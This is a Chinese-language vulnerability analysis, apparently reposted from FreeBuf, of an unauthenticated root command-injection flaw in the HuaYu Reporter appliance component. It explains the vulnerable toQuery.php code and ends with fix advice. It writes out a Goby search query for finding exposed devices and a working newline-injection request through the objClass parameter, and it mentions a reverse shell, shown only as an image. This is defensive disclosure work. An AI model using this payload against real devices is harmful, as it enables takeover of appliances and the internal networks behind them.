概述
一个偶然的机会听说华域Reporter组件存在漏洞,团队大佬在GitHub找到了漏洞利用代码:HuaYuReporterGetShell。该组件的设备较多,多用于上网行为管理设备的报表系统,该漏洞利用难度低,影响范围较广,无需登录可直接以root权限执行任意命令,从而控制该设备,进而控制内网其它服务器和终端设备,该设备一旦被控制,可能会影响到整个内网。
反编译jar
使用jd-gui查看jar包源码发现漏洞所在文件:/view/Behavior/toQuery.php
,参数和Payload,如图:

漏洞分析
查看漏洞文件源码发现toQuery.php文件执行命令的函数exec的参数cmd可控,且未进行过滤等安全防护操作,如图:

因此在method
参数值等于getList
或import
的情况下,通过objClass
参数将需要执行的命令拼接到cmd
参数,在调用exec
函数时执行objClass
传入的命令。
编写PoC
使用Goby
思路:使用echo命令将特定字符串重定向到特定文件,当该文件内容为写入的特定字符串时说明漏洞存在。
1、查询规则:title="Login @ Reporter"
2、请求一:/view/Behavior/toQuery.php?method=getList&objClass=%0aecho%20%27f029ff010012ms%27%20>/var/www/reporter/view/Behavior/f029ff010012ms.txt%0a
3、请求二:/view/Behavior/f029ff010012ms.txt
,匹配Body中包含特定字符串:f029ff010012ms
Poc测试结果如图:

Exp验证结果如图:

使用pocsuite
Poc:


Poc测试结果如图:

反弹shell,如图:



执行命令如图:

修复建议
1、过滤用户传入的数据
2、重写代码,创建白名单命令列表,避免使用objClass参数
*来自:FreeBuf.COM